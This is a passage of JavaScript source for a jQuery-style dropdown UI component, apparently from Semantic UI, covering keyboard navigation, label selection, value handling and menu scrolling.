label\n                  if((isFocused || caretAtStart) && !hasActiveLabel) {\n                    module.verbose('Selecting previous label');\n                    $label.last().addClass(className.active);\n                  }\n                  else if(hasActiveLabel) {\n                    if(!event.shiftKey) {\n                      module.verbose('Selecting previous label');\n                      $label.removeClass(className.active);\n                    }\n                    else {\n                      module.verbose('Adding previous label to selection');\n                    }\n                    if(isFirstLabel && !hasMultipleActive) {\n                      $activeLabel.addClass(className.active);\n                    }\n                    else {\n                      $activeLabel.prev(selector.siblingLabel)\n                        .addClass(className.active)\n                        .end()\n                      ;\n                    }\n                    event.preventDefault();\n                  }\n                }\n                else if(pressedKey == keys.rightArrow) {\n                  // activate first label\n                  if(isFocused && !hasActiveLabel) {\n                    $label.first().addClass(className.active);\n                  }\n                  // activate next label\n                  if(hasActiveLabel) {\n                    if(!event.shiftKey) {\n                      module.verbose('Selecting next label');\n                      $label.removeClass(className.active);\n                    }\n                    else {\n                      module.verbose('Adding next label to selection');\n                    }\n                    if(isLastLabel) {\n                      if(isSearch) {\n                        if(!isFocusedOnSearch) {\n                          module.focusSearch();\n                        }\n                        else {\n                          $label.removeClass(className.active);\n                        }\n                      }\n                      else if(hasMultipleActive) {\n                        $activeLabel.next(selector.siblingLabel).addClass(className.active);\n                      }\n                      else {\n                        $activeLabel.addClass(className.active);\n                      }\n                    }\n                    else {\n                      $activeLabel.next(selector.siblingLabel).addClass(className.active);\n                    }\n                    event.preventDefault();\n                  }\n                }\n                else if(pressedKey == keys.deleteKey || pressedKey == keys.backspace) {\n                  if(hasActiveLabel) {\n                    module.verbose('Removing active labels');\n                    if(isLastLabel) {\n                      if(isSearch && !isFocusedOnSearch) {\n                        module.focusSearch();\n                      }\n                    }\n                    $activeLabel.last().next(selector.siblingLabel).addClass(className.active);\n                    module.remove.activeLabels($activeLabel);\n                    event.preventDefault();\n                  }\n                  else if(caretAtStart && !hasActiveLabel && pressedKey == keys.backspace) {\n                    module.verbose('Removing last label on input backspace');\n                    $activeLabel = $label.last().addClass(className.active);\n                    module.remove.activeLabels($activeLabel);\n                  }\n                }\n                else {\n                  $activeLabel.removeClass(className.active);\n                }\n              }\n            }\n          },\n\n          keydown: function(event) {\n            var\n              pressedKey    = event.which,\n              keys          = module.get.shortcutKeys(),\n              isShortcutKey = module.is.inObject(pressedKey, keys)\n            ;\n            if(isShortcutKey) {\n              var\n                $currentlySelected = $item.not(selector.unselectable).filter('.' + className.selected).eq(0),\n                $activeItem        = $menu.children('.' + className.active).eq(0),\n                $selectedItem      = ($currentlySelected.length > 0)\n                  ? $currentlySelected\n                  : $activeItem,\n                $visibleItems = ($selectedItem.length > 0)\n                  ? $selectedItem.siblings(':not(.' + className.filtered +')').andSelf()\n                  : $menu.children(':not(.' + className.filtered +')'),\n                $subMenu          = $selectedItem.children(selector.menu),\n                $parentMenu       = $selectedItem.closest(selector.menu),\n                inVisibleMenu     = ($parentMenu.hasClass(className.visible) || $parentMenu.hasClass(className.animating) || $parentMenu.parent(selector.menu).length > 0),\n                hasSubMenu        = ($subMenu.length> 0),\n                hasSelectedItem   = ($selectedItem.length > 0),\n                selectedIsVisible = ($selectedItem.not(selector.unselectable).length > 0),\n                $nextItem,\n                isSubMenuItem,\n                newIndex\n              ;\n\n              // visible menu keyboard shortcuts\n              if( module.is.visible() ) {\n\n                // enter (select or open sub-menu)\n                if(pressedKey == keys.enter || pressedKey == keys.delimiter) {\n\n                  if(pressedKey == keys.enter && hasSelectedItem && hasSubMenu && !settings.allowCategorySelection) {\n                    module.verbose('Pressed enter on unselectable category, opening sub menu');\n                    pressedKey = keys.rightArrow;\n                  }\n                  else if(selectedIsVisible) {\n                    module.verbose('Selecting item from keyboard shortcut', $selectedItem);\n                    module.event.item.click.call($selectedItem, event);\n                    if(settings.useLabels && module.is.searchSelection()) {\n                      module.hideAndClear();\n                    }\n                    else {\n                      module.remove.searchTerm();\n                    }\n                  }\n                  event.preventDefault();\n                }\n\n                // left arrow (hide sub-menu)\n                if(pressedKey == keys.leftArrow) {\n\n                  isSubMenuItem = ($parentMenu[0] !== $menu[0]);\n\n                  if(isSubMenuItem) {\n                    module.verbose('Left key pressed, closing sub-menu');\n                    module.animate.hide(false,  $parentMenu);\n                    $selectedItem\n                      .removeClass(className.selected)\n                    ;\n                    $parentMenu\n                      .closest(selector.item)\n                        .addClass(className.selected)\n                    ;\n                    event.preventDefault();\n                  }\n                }\n\n                // right arrow (show sub-menu)\n                if(pressedKey == keys.rightArrow) {\n                  if(hasSubMenu) {\n                    module.verbose('Right key pressed, opening sub-menu');\n                    module.animate.show(false,  $subMenu);\n                    $selectedItem\n                      .removeClass(className.selected)\n                    ;\n                    $subMenu\n                      .find(selector.item).eq(0)\n                        .addClass(className.selected)\n                    ;\n                    event.preventDefault();\n                  }\n                }\n\n                // up arrow (traverse menu up)\n                if(pressedKey == keys.upArrow) {\n                  $nextItem = (hasSelectedItem && inVisibleMenu)\n                    ? $selectedItem.prevAll(selector.item + ':not(' + selector.unselectable + ')').eq(0)\n                    : $item.eq(0)\n                  ;\n                  if($visibleItems.index( $nextItem ) < 0) {\n                    module.verbose('Up key pressed but reached top of current menu');\n                    event.preventDefault();\n                    return;\n                  }\n                  else {\n                    module.verbose('Up key pressed, changing active item');\n                    $selectedItem\n                      .removeClass(className.selected)\n                    ;\n                    $nextItem\n                      .addClass(className.selected)\n                    ;\n                    module.set.scrollPosition($nextItem);\n                  }\n                  event.preventDefault();\n                }\n\n                // down arrow (traverse menu down)\n                if(pressedKey == keys.downArrow) {\n                  $nextItem = (hasSelectedItem && inVisibleMenu)\n                    ? $nextItem = $selectedItem.nextAll(selector.item + ':not(' + selector.unselectable + ')').eq(0)\n                    : $item.eq(0)\n                  ;\n                  if($nextItem.length === 0) {\n                    module.verbose('Down key pressed but reached bottom of current menu');\n                    event.preventDefault();\n                    return;\n                  }\n                  else {\n                    module.verbose('Down key pressed, changing active item');\n                    $item\n                      .removeClass(className.selected)\n                    ;\n                    $nextItem\n                      .addClass(className.selected)\n                    ;\n                    module.set.scrollPosition($nextItem);\n                  }\n                  event.preventDefault();\n                }\n\n                // page down (show next page)\n                if(pressedKey == keys.pageUp) {\n                  module.scrollPage('up');\n                  event.preventDefault();\n                }\n                if(pressedKey == keys.pageDown) {\n                  module.scrollPage('down');\n                  event.preventDefault();\n                }\n\n                // escape (close menu)\n                if(pressedKey == keys.escape) {\n                  module.verbose('Escape key pressed, closing dropdown');\n                  module.hide();\n                }\n\n              }\n              else {\n                // delimiter key\n                if(pressedKey == keys.delimiter) {\n                  event.preventDefault();\n                }\n                // down arrow (open menu)\n                if(pressedKey == keys.downArrow) {\n                  module.verbose('Down key pressed, showing dropdown');\n                  module.show();\n                  event.preventDefault();\n                }\n              }\n            }\n            else {\n              if( module.is.selection() && !module.is.search() ) {\n                module.set.selectedLetter( String.fromCharCode(pressedKey) );\n              }\n            }\n          }\n        },\n\n        determine: {\n          selectAction: function(text, value) {\n            module.verbose('Determining action', settings.action);\n            if( $.isFunction( module.action[settings.action] ) ) {\n              module.verbose('Triggering preset action', settings.action, text, value);\n              module.action[ settings.action ].call(this, text, value);\n            }\n            else if( $.isFunction(settings.action) ) {\n              module.verbose('Triggering user action', settings.action, text, value);\n              settings.action.call(this, text, value);\n            }\n            else {\n              module.error(error.action, settings.action);\n            }\n          },\n          eventInModule: function(event, callback) {\n            callback = $.isFunction(callback)\n              ? callback\n              : function(){}\n            ;\n            if( $(event.target).closest($module).length === 0 ) {\n              module.verbose('Triggering event', callback);\n              callback();\n              return true;\n            }\n            else {\n              module.verbose('Event occurred in dropdown, canceling callback');\n              return false;\n            }\n          },\n          eventOnElement: function(event, callback) {\n            var\n              $target = $(event.target)\n            ;\n            callback = $.isFunction(callback)\n              ? callback\n              : function(){}\n            ;\n            if($target.closest($menu).length === 0) {\n              module.verbose('Triggering event', callback);\n              callback();\n              return true;\n            }\n            else {\n              module.verbose('Event occurred in dropdown menu, canceling callback');\n              return false;\n            }\n          }\n        },\n\n        action: {\n\n          nothing: function() {},\n\n          activate: function(text, value) {\n            value = (value !== undefined)\n              ? value\n              : text\n            ;\n            module.set.selected(value, $(this));\n            if(module.is.multiple() && !module.is.allFiltered()) {\n              return;\n            }\n            else {\n              module.hideAndClear();\n            }\n          },\n\n          select: function(text, value) {\n            // mimics action.activate but does not select text\n            module.action.activate.call(this);\n          },\n\n          combo: function(text, value) {\n            value = (value !== undefined)\n              ? value\n              : text\n            ;\n            module.set.selected(value, $(this));\n            module.hideAndClear();\n          },\n\n          hide: function() {\n            module.hideAndClear();\n          }\n\n        },\n\n        get: {\n          id: function() {\n            return id;\n          },\n          text: function() {\n            return $text.text();\n          },\n          query: function() {\n            return $.trim($search.val());\n          },\n          searchWidth: function(characterCount) {\n            return (characterCount * settings.glyphWidth) + 'em';\n          },\n          selectionCount: function() {\n            var\n              values = module.get.values()\n            ;\n            return ( module.is.multiple() )\n              ? $.isArray(values)\n                ? values.length\n                : 0\n              : (module.get.value() !== '')\n                ? 1\n                : 0\n            ;\n          },\n          transition: function($subMenu) {\n            return (settings.transition == 'auto')\n              ? module.is.upward($subMenu)\n                ? 'slide up'\n                : 'slide down'\n              : settings.transition\n            ;\n          },\n          userValues: function() {\n            var\n              values = module.get.values()\n            ;\n            if(!values) {\n              return false;\n            }\n            values = $.isArray(values)\n              ? values\n              : [values]\n            ;\n            return $.grep(values, function(value) {\n              return (module.get.item(value) === false);\n            });\n          },\n          uniqueArray: function(array) {\n            return $.grep(array, function (value, index) {\n                return $.inArray(value, array) === index;\n            });\n          },\n          caretPosition: function() {\n            var\n              input = $search.get(0),\n              range,\n              rangeLength\n            ;\n            if('selectionStart' in input) {\n              return input.selectionStart;\n            }\n            else if (document.selection) {\n              input.focus();\n              range       = document.selection.createRange();\n              rangeLength = range.text.length;\n              range.moveStart('character', -input.value.length);\n              return range.text.length - rangeLength;\n            }\n          },\n          shortcutKeys: function() {\n            return {\n              backspace  : 8,\n              delimiter  : 188, // comma\n              deleteKey  : 46,\n              enter      : 13,\n              escape     : 27,\n              pageUp     : 33,\n              pageDown   : 34,\n              leftArrow  : 37,\n              upArrow    : 38,\n              rightArrow : 39,\n              downArrow  : 40\n            };\n          },\n          value: function() {\n            return ($input.length > 0)\n              ? $input.val()\n              : $module.data(metadata.value)\n            ;\n          },\n          values: function() {\n            var\n              value = module.get.value()\n            ;\n            if(value === '') {\n              return '';\n            }\n            return (!$input.is('select') && module.is.multiple())\n              ? typeof value == 'string'\n                ? value.split(settings.delimiter)\n                : ''\n              : value\n            ;\n          },\n          remoteValues: function() {\n            var\n              values = module.get.values(),\n              remoteValues = false\n            ;\n            if(values) {\n              if(typeof values == 'string') {\n                values = [values];\n              }\n              remoteValues = {};\n              $.each(values, function(index, value) {\n                var\n                  name = module.read.remoteData(value)\n                ;\n                module.verbose('Restoring value from session data', name, value);\n                remoteValues[value] = (name)\n                  ? name\n                  : value\n                ;\n              });\n            }\n            return remoteValues;\n          },\n          choiceText: function($choice, preserveHTML) {\n            preserveHTML = (preserveHTML !== undefined)\n              ? preserveHTML\n              : settings.preserveHTML\n            ;\n            if($choice) {\n              if($choice.find(selector.menu).length > 0) {\n                module.verbose('Retreiving text of element with sub-menu');\n                $choice = $choice.clone();\n                $choice.find(selector.menu).remove();\n                $choice.find(selector.menuIcon).remove();\n              }\n              return ($choice.data(metadata.text) !== undefined)\n                ? $choice.data(metadata.text)\n                : (preserveHTML)\n                  ? $choice.html().trim()\n                  : $choice.text().trim()\n              ;\n            }\n          },\n          choiceValue: function($choice, choiceText) {\n            choiceText = choiceText || module.get.choiceText($choice);\n            if(!$choice) {\n              return false;\n            }\n            return ($choice.data(metadata.value) !== undefined)\n              ? $choice.data(metadata.value)\n              : (typeof choiceText === 'string')\n                ? choiceText.toLowerCase().trim()\n                : choiceText\n            ;\n          },\n          inputEvent: function() {\n            var\n              input = $search[0]\n            ;\n            if(input) {\n              return (input.oninput !== undefined)\n                ? 'input'\n                : (input.onpropertychange !== undefined)\n                  ? 'propertychange'\n                  : 'keyup'\n              ;\n            }\n            return false;\n          },\n          selectValues: function() {\n            var\n              select = {}\n            ;\n            select.values = [];\n            $module\n              .find('option')\n                .each(function() {\n                  var\n                    $option  = $(this),\n                    name     = $option.html(),\n                    disabled = $option.attr('disabled'),\n                    value    = ( $option.attr('value') !== undefined )\n                      ? $option.attr('value')\n                      : name\n                  ;\n                  if(settings.placeholder === 'auto' && value === '') {\n                    select.placeholder = name;\n                  }\n                  else {\n                    select.values.push({\n                      name     : name,\n                      value    : value,\n                      disabled : disabled\n                    });\n                  }\n                })\n            ;\n            if(settings.placeholder && settings.placeholder !== 'auto') {\n              module.debug('Setting placeholder value to', settings.placeholder);\n              select.placeholder = settings.placeholder;\n            }\n            if(settings.sortSelect) {\n              select.values.sort(function(a, b) {\n                return (a.name > b.name)\n                  ? 1\n                  : -1\n                ;\n              });\n              module.debug('Retrieved and sorted values from select', select);\n            }\n            else {\n              module.debug('Retreived values from select', select);\n            }\n            return select;\n          },\n          activeItem: function() {\n            return $item.filter('.'  + className.active);\n          },\n          selectedItem: function() {\n            var\n              $selectedItem = $item.not(selector.unselectable).filter('.'  + className.selected)\n            ;\n            return ($selectedItem.length > 0)\n              ? $selectedItem\n              : $item.eq(0)\n            ;\n          },\n          itemWithAdditions: function(value) {\n            var\n              $items       = module.get.item(value),\n              $userItems   = module.create.userChoice(value),\n              hasUserItems = ($userItems && $userItems.length > 0)\n            ;\n            if(hasUserItems) {\n              $items = ($items.length > 0)\n                ? $items.add($userItems)\n                : $userItems\n              ;\n            }\n            return $items;\n          },\n          item: function(value, strict) {\n            var\n              $selectedItem = false,\n              shouldSearch,\n              isMultiple\n            ;\n            value = (value !== undefined)\n              ? value\n              : ( module.get.values() !== undefined)\n                ? module.get.values()\n                : module.get.text()\n            ;\n            shouldSearch = (isMultiple)\n              ? (value.length > 0)\n              : (value !== undefined && value !== '' && value !== null)\n            ;\n            isMultiple = (module.is.multiple() && $.isArray(value));\n            strict     = (value === '' || value === 0)\n              ? true\n              : strict || false\n            ;\n            if(shouldSearch) {\n              $item\n                .each(function() {\n                  var\n                    $choice       = $(this),\n                    optionText    = module.get.choiceText($choice),\n                    optionValue   = module.get.choiceValue($choice, optionText)\n                  ;\n                  // safe early exit\n                  if(optionValue === null || optionValue === undefined) {\n                    return;\n                  }\n                  if(isMultiple) {\n                    if($.inArray(optionValue.toString(), value) !== -1 || $.inArray(optionText, value) !== -1) {\n                      $selectedItem = ($selectedItem)\n                        ? $selectedItem.add($choice)\n                        : $choice\n                      ;\n                    }\n                  }\n                  else if(strict) {\n                    module.verbose('Ambiguous dropdown value using strict type check', $choice, value);\n                    if( optionValue === value || optionText === value) {\n                      $selectedItem = $choice;\n                      return true;\n                    }\n                  }\n                  else {\n                    if( optionValue.toString() == value.toString() || optionText == value) {\n                      module.verbose('Found select item by value', optionValue, value);\n                      $selectedItem = $choice;\n                      return true;\n                    }\n                  }\n                })\n              ;\n            }\n            return $selectedItem;\n          }\n        },\n\n        check: {\n          maxSelections: function(selectionCount) {\n            if(settings.maxSelections) {\n              selectionCount = (selectionCount !== undefined)\n                ? selectionCount\n                : module.get.selectionCount()\n              ;\n              if(selectionCount >= settings.maxSelections) {\n                module.debug('Maximum selection count reached');\n                $item.addClass(className.filtered);\n                module.add.message(message.maxSelections);\n                return true;\n              }\n              else {\n                module.verbose('No longer at maximum selection count');\n                module.remove.message();\n                module.remove.filteredItem();\n                if(module.is.searchSelection()) {\n                  module.filterItems();\n                }\n                return false;\n              }\n            }\n            return true;\n          }\n        },\n\n        restore: {\n          defaults: function() {\n            module.restore.defaultText();\n            module.restore.defaultValue();\n          },\n          defaultText: function() {\n            var\n              defaultText = $module.data(metadata.defaultText)\n            ;\n            module.debug('Restoring default text', defaultText);\n            module.set.text(defaultText);\n            $text.addClass(className.placeholder);\n          },\n          defaultValue: function() {\n            var\n              defaultValue = $module.data(metadata.defaultValue)\n            ;\n            if(defaultValue !== undefined) {\n              module.debug('Restoring default value', defaultValue);\n              if(defaultValue !== '') {\n                module.set.value(defaultValue);\n                module.set.selected();\n              }\n              else {\n                module.remove.activeItem();\n                module.remove.selectedItem();\n              }\n            }\n          },\n          labels: function() {\n            if(settings.allowAdditions) {\n              if(!settings.useLabels) {\n                module.error(error.labels);\n                settings.useLabels = true;\n              }\n              module.debug('Restoring selected values');\n              module.create.userLabels();\n            }\n            module.check.maxSelections();\n          },\n          selected: function() {\n            module.restore.values();\n            if(module.is.multiple()) {\n              module.debug('Restoring previously selected values and labels');\n              module.restore.labels();\n            }\n            else {\n              module.debug('Restoring previously selected values');\n            }\n          },\n          values: function() {\n            // prevents callbacks from occuring on initial load\n            module.set.initialLoad();\n            if(settings.apiSettings) {\n              if(settings.saveRemoteData) {\n                module.restore.remoteValues();\n              }\n              else {\n                module.clearValue();\n              }\n            }\n            else {\n              module.set.selected();\n            }\n            module.remove.initialLoad();\n          },\n          remoteValues: function() {\n            var\n              values = module.get.remoteValues()\n            ;\n            module.debug('Recreating selected from session data', values);\n            if(values) {\n              if( module.is.single() ) {\n                $.each(values, function(value, name) {\n                  module.set.text(name);\n                });\n              }\n              else {\n                $.each(values, function(value, name) {\n                  module.add.label(value, name);\n                });\n              }\n            }\n          }\n        },\n\n        read: {\n          remoteData: function(value) {\n            var\n              name\n            ;\n            if(window.Storage === undefined) {\n              module.error(error.noStorage);\n              return;\n            }\n            name = sessionStorage.getItem(value);\n            return (name !== undefined)\n              ? name\n              : false\n            ;\n          }\n        },\n\n        save: {\n          defaults: function() {\n            module.save.defaultText();\n            module.save.placeholderText();\n            module.save.defaultValue();\n          },\n          defaultValue: function() {\n            var\n              value = module.get.value()\n            ;\n            module.verbose('Saving default value as', value);\n            $module.data(metadata.defaultValue, value);\n          },\n          defaultText: function() {\n            var\n              text = module.get.text()\n            ;\n            module.verbose('Saving default text as', text);\n            $module.data(metadata.defaultText, text);\n          },\n          placeholderText: function() {\n            var\n              text\n            ;\n            if($text.hasClass(className.placeholder)) {\n              text = module.get.text();\n              module.verbose('Saving placeholder text as', text);\n              $module.data(metadata.placeholderText, text);\n            }\n          },\n          remoteData: function(name, value) {\n            if(window.Storage === undefined) {\n              module.error(error.noStorage);\n              return;\n            }\n            module.verbose('Saving remote data to session storage', value, name);\n            sessionStorage.setItem(value, name);\n          }\n        },\n\n        clear: function() {\n          if(module.is.multiple()) {\n            module.remove.labels();\n          }\n          else {\n            module.remove.activeItem();\n            module.remove.selectedItem();\n          }\n          module.set.placeholderText();\n          module.clearValue();\n        },\n\n        clearValue: function() {\n          module.set.value('');\n        },\n\n        scrollPage: function(direction, $selectedItem) {\n          var\n            $selectedItem = $selectedItem || module.get.selectedItem(),\n            $menu         = $selectedItem.closest(selector.menu),\n            menuHeight    = $menu.outerHeight(),\n            currentScroll = $menu.scrollTop(),\n            itemHeight    = $item.eq(0).outerHeight(),\n            itemsPerPage  = Math.floor(menuHeight / itemHeight),\n            maxScroll     = $menu.prop('scrollHeight'),\n            newScroll     = (direction == 'up')\n              ? currentScroll - (itemHeight * itemsPerPage)\n              : currentScroll + (itemHeight * itemsPerPage),\n            $selectableItem = $item.not(selector.unselectable),\n            isWithinRange,\n            $nextSelectedItem,\n            elementIndex\n          ;\n          elementIndex      = (direction == 'up')\n            ? $selectableItem.index($selectedItem) - itemsPerPage\n            : $selectableItem.index($selectedItem) + itemsPerPage\n          ;\n          isWithinRange = (direction == 'up')\n            ? (elementIndex >= 0)\n            : (elementIndex < $selectableItem.length)\n          ;\n          $nextSelectedItem = (isWithinRange)\n            ? $selectableItem.eq(elementIndex)\n            : (direction == 'up')\n              ? $selectableItem.first()\n              : $selectableItem.last()\n          ;\n          if($nextSelectedItem.length > 0) {\n            module.debug('Scrolling page', direction, $nextSelectedItem);\n            $selectedItem\n              .removeClass(className.selected)\n            ;\n            $nextSelectedItem\n              .addClass(className.selected)\n            ;\n            $menu\n              .scrollTop(newScroll)\n            ;\n          }\n        },\n\n        set: {\n          filtered: function() {\n            var\n              isMultiple       = module.is.multiple(),\n              isSearch         = module.is.searchSelection(),\n              isSearchMultiple = (isMultiple && isSearch),\n              searchValue      = (isSearch)\n                ? module.get.query()\n                : '',\n              hasSearchValue   = (typeof searchValue === 'string' && searchValue.length > 0),\n              searchWidth      = module.get.searchWidth(searchValue.length),\n              valueIsSet       = searchValue !== ''\n            ;\n            if(isMultiple && hasSearchValue) {\n              module.verbose('Adjusting input width', searchWidth, settings.glyphWidth);\n              $search.css('width', searchWidth);\n            }\n            if(hasSearchValue || (isSearchMultiple && valueIsSet)) {\n              module.verbose('Hiding placeholder text');\n              $text.addClass(className.filtered);\n            }\n            else if(!isMultiple || (isSearchMultiple && !valueIsSet)) {\n              module.verbose('Showing placeholder text');\n              $text.removeClass(className.filtered);\n            }\n          },\n          loading: function() {\n            $module.addClass(className.loading);\n          },\n          placeholderText: function(text) {\n            text = text || $module.data(metadata.placeholderText);\n            if(text) {\n              module.debug('Restoring placeholder text');\n              module.set.text(text);\n              $text.addClass(className.placeholder);\n            }\n          },\n          tabbable: function() {\n            if( module.has.search() ) {\n              module.debug('Added tabindex to searchable dropdown');\n              $search\n                .val('')\n                .attr('tabindex', 0)\n              ;\n              $menu\n                .attr('tabindex', -1)\n              ;\n            }\n            else {\n              module.debug('Added tabindex to dropdown');\n              if(!$module.attr('tabindex') ) {\n                $module\n                  .attr('tabindex', 0)\n                ;\n                $menu\n                  .attr('tabindex', -1)\n                ;\n              }\n            }\n          },\n          initialLoad: function() {\n            module.verbose('Setting initial load');\n            initialLoad = true;\n          },\n          scrollPosition: function($item, forceScroll) {\n            var\n              edgeTolerance = 5,\n              $menu,\n              hasActive,\n              offset,\n              itemHeight,\n              itemOffset,\n              menuOffset,\n              menuScroll,\n              menuHeight,\n              abovePage,\n              belowPage\n            ;\n\n            $item       = $item || module.get.selectedItem();\n            $menu       = $item.closest(selector.menu);\n            hasActive   = ($item && $item.length > 0);\n            forceScroll = (forceScroll !== undefined)\n              ? forceScroll\n              : false\n            ;\n            if($item && $menu.length > 0 && hasActive) {\n              itemOffset = $item.position().top;\n\n              $menu.addClass(className.loading);\n              menuScroll = $menu.scrollTop();\n              menuOffset = $menu.offset().top;\n              itemOffset = $item.offset().top;\n              offset     = menuScroll - menuOffset + itemOffset;\n              if(!forceScroll) {\n                menuHeight = $menu.height();\n                belowPage  = menuScroll + menuHeight < (offset + edgeTolerance);\n                abovePage  = ((offset - edgeTolerance) < menuScroll);\n              }\n              module.debug('Scrolling to active item', offset);\n              if(forceScroll || abovePage || belowPage) {\n                $menu.scrollTop(offset);\n              }\n              $menu.removeClass(className.loading);\n            }\n          },\n          text: function(text) {\n            if(settings.action !== 'select') {\n              if(settings.action == 'combo') {\n                module.debug('Changing combo button text', text, $combo);\n                if(settings.preserveHTML) {\n                  $combo.html(text);\n                }\n                else {\n                  $combo.text(text);\n                }\n              }\n              else {\n                module.debug('Changing text', text, $text);\n                $text\n                  .removeClass(className.filtered)\n                  .removeClass(className.placeholder)\n                ;\n                if(settings.preserveHTML) {\n                  $text.html(text);\n                }\n                else {\n                  $text.text(text);\n                }\n              }\n            }\n          },\n          selectedLetter: function(letter) {\n            var\n              $selectedItem = $item.filter('.' + className.selected),\n              $nextValue    = false\n            ;\n            $item\n              .each(function(){\n                var\n                  $choice       = $(this),\n                  text          = module.get.choiceText($choice, false),\n                  firstLetter   = String(text).charAt(0).toLowerCase(),\n                  matchedLetter = letter.toLowerCase()\n                ;\n                if(firstLetter == matchedLetter) {\n                  $nextValue = $choice;\n                  return false;\n                }\n              })\n            ;\n            if($nextValue) {\n              module.verbose('Scrolling to next value with letter', letter);\n              module.set.scrollPosition($nextValue);\n              $selectedItem.removeClass(className.selected);\n              $nextValue.addClass(className.selected);\n            }\n          },\n          direction: function($menu) {\n            if(settings.direction == 'auto') {\n              if(module.is.onScreen($menu)) {\n                module.remove.upward($menu);\n              }\n              else {\n                module.set.upward($menu);\n              }\n            }\n            else if(settings.direction == 'upward') {\n              module.set.upward($menu);\n            }\n          },\n          upward: function($menu) {\n            var $element = $menu || $module;\n            $element.addClass(className.upward);\n          },\n          value: function(value, text, $selected) {\n            var\n              hasInput     = ($input.length > 0),\n              isAddition   = !module.has.value(value),\n              currentValue = module.get.values(),\n              stringValue  = (typeof value == 'number')\n                ? value.toString()\n                : value,\n              newValue\n            ;\n            if(hasInput) {\n              if(stringValue == currentValue) {\n                module.verbose('Skipping value update already same value', value, currentValue);\n                if(!module.is.initialLoad()) {\n                  return;\n                }\n              }\n              module.debug('Updating input value', value, currentValue);\n              $input\n                .val(value)\n                .trigger('change')\n              ;\n            }\n            else {\n              module.verbose('Storing value in metadata', value, $input);\n              if(value !== currentValue) {\n                $module.data(metadata.value, value);\n              }\n            }\n            if(settings.fireOnInit === false && module.is.initialLoad()) {\n              module.verbose('No callback on initial load', settings.onChange);\n            }\n            else {\n              settings.onChange.call(element, value, text, $selected);\n            }\n          },\n          active: function() {\n            $module\n              .addClass(className.active)\n            ;\n          },\n          multiple: function() {\n            $module.addClass(className.multiple);\n          },\n          visible: function() {\n            $module.addClass(className.visible);\n          },\n          selected: function(value, $selectedItem) {\n            var\n              isMultiple = module.is.multiple(),\n              $userSelectedItem\n            ;\n            $selectedItem = (settings.allowAdditions)\n              ? $selectedItem || module.get.itemWithAdditions(value)\n              : $selectedItem || module.get.item(value)\n            ;\n            if(!$selectedItem) {\n              return;\n            }\n            module.debug('Setting selected menu item to', $selectedItem);\n            if(module.is.single()) {\n              module.remove.activeItem();\n              module.remove.selectedItem();\n            }\n            else if(settings.useLabels) {\n              module.remove.selectedItem();\n            }\n            // select each item\n            $selectedItem\n              .each(function() {\n                var\n                  $selected      = $(this),\n                  selectedText   = module.get.choiceText($selected),\n                  selectedValue  = module.get.choiceValue($selected, selectedText),\n\n                  isFiltered     = $selected.hasClass(className.filtered),\n                  isActive       = $selected.hasClass(className.active),\n                  isUserValue    = $selected.hasClass(className.addition),\n                  shouldAnimate  = (isMultiple && $selectedItem.length == 1)\n                ;\n                if(isMultiple) {\n                  if(!isActive || isUserValue) {\n                    if(settings.apiSettings && settings.saveRemoteData) {\n                      module.save.remoteData(selectedText, selectedValue);\n                    }\n                    if(settings.useLabels) {\n                      module.add.value(selectedValue, selectedText, $selected);\n                      module.add.label(selectedValue, selectedText, shouldAnimate);\n                      $selected.addClass(className.active);\n                      module.filterActive();\n                      module.select.nextAvailable($selectedItem);\n                    }\n                    else {\n                      module.add.value(selectedValue, selectedText, $selected);\n                      module.set.text(module.add.variables(message.count));\n                      $selected.addClass(className.active);\n                    }\n                  }\n                  else if(!isFiltered) {\n                    module.debug('Selected active value, removing label');\n                    module.remove.selected(selectedValue);\n                  }\n                }\n                else {\n                  if(settings.apiSettings && settings.saveRemoteData) {\n                    module.save.remoteData(selectedText, selectedValue);\n                  }\n                  module.set.value(selectedValue, selectedText, $selected);\n                  module.set.text(selectedText);\n                  $selected\n                    .addClass(className.active)\n                    .addClass(className.selected)\n                  ;\n                }\n              })\n            ;\n          }\n        },\n\n        add: {\n          label: function(value, text, shouldAnimate) {\n            var\n              $next  = module.is.searchSelection()\n                ? $search\n                : $text,\n              $label\n            ;\n            $label =  $('<a />')\n              .addClass(className.label)\n              .attr('data-value', value)\n              .html(templates.label(value, text))\n            ;\n            $label = settings.onLabelCreate.call($label, value, text);\n\n            if(module.has.label(value)) {\n              module.debug('Label already exists, skipping', value);\n              return;\n            }\n            if(settings.label.variation) {\n              $label.addClass(settings.label.variation);\n            }\n            if(shouldAnimate === true) {\n              module.debug('Animating in label', $label);\n              $label\n                .addClass(className.hidden)\n                .insertBefore($next)\n                .transition(settings.label.transition, settings.label.duration)\n              ;\n            }\n            else {\n              module.debug('Adding selection label', $label);\n              $label\n                .insertBefore($next)\n              ;\n            }\n          },\n          message: function(message) {\n            var\n              $message = $menu.children(selector.message),\n              html     = settings.templates.message(module.add.variables(message))\n            ;\n            if($message.length > 0) {\n              $message\n                .html(html)\n              ;\n            }\n            else {\n              $message = $('<div/>')\n                .html(html)\n                .addClass(className.message)\n                .appendTo($menu)\n              ;\n            }\n          },\n          optionValue: function(value) {\n            var\n              $option   = $input.find('option[value=\"' + value + '\"]'),\n              hasOption = ($option.length > 0)\n            ;\n            if(hasOption) {\n              return;\n            }\n            // temporarily disconnect observer\n            if(selectObserver) {\n              selectObserver.disconnect();\n              module.verbose('Temporarily disconnecting mutation observer', value);\n            }\n            $('<option/>')\n              .prop('value', value)\n              .html(value)\n              .appendTo($input)\n            ;\n            module.verbose('Adding user addition as an <option>', value);\n            if(selectObserver) {\n              selectObserver.observe($input[0], {\n                childList : true,\n                subtree   : true\n              });\n            }\n          },\n          userSuggestion: function(value) {\n            var\n              $addition         = $menu.children(selector.addition),\n              alreadyHasValue   = module.get.item(value),\n              hasUserSuggestion = $addition.length > 0,\n              html\n            ;\n            if(module.has.maxSelections()) {\n              return;\n            }\n            if(value === '' || alreadyHasValue) {\n              $addition.remove();\n              return;\n            }\n            $item\n              .removeClass(className.selected)\n            ;\n            if(hasUserSuggestion) {\n              html = settings.templates.addition(value);\n              $addition\n                .html(html)\n                .data(metadata.value, value)\n                .removeClass(className.filtered)\n                .addClass(className.selected)\n              ;\n              module.verbose('Replacing user suggestion with new value', $addition);\n            }\n            else {\n              $addition = module.create.userChoice(value);\n              $addition\n                .prependTo($menu)\n                .addClass(className.selected)\n              ;\n              module.verbose('Adding item choice to menu corresponding with user choice addition', $addition);\n            }\n          },\n          variables: function(message) {\n            var\n              hasCount    = (message.search('{count}') !== -1),\n              hasMaxCount = (message.search('{maxCount}') !== -1),\n              hasTerm     = (message.search('{term}') !== -1),\n              values,\n              count,\n              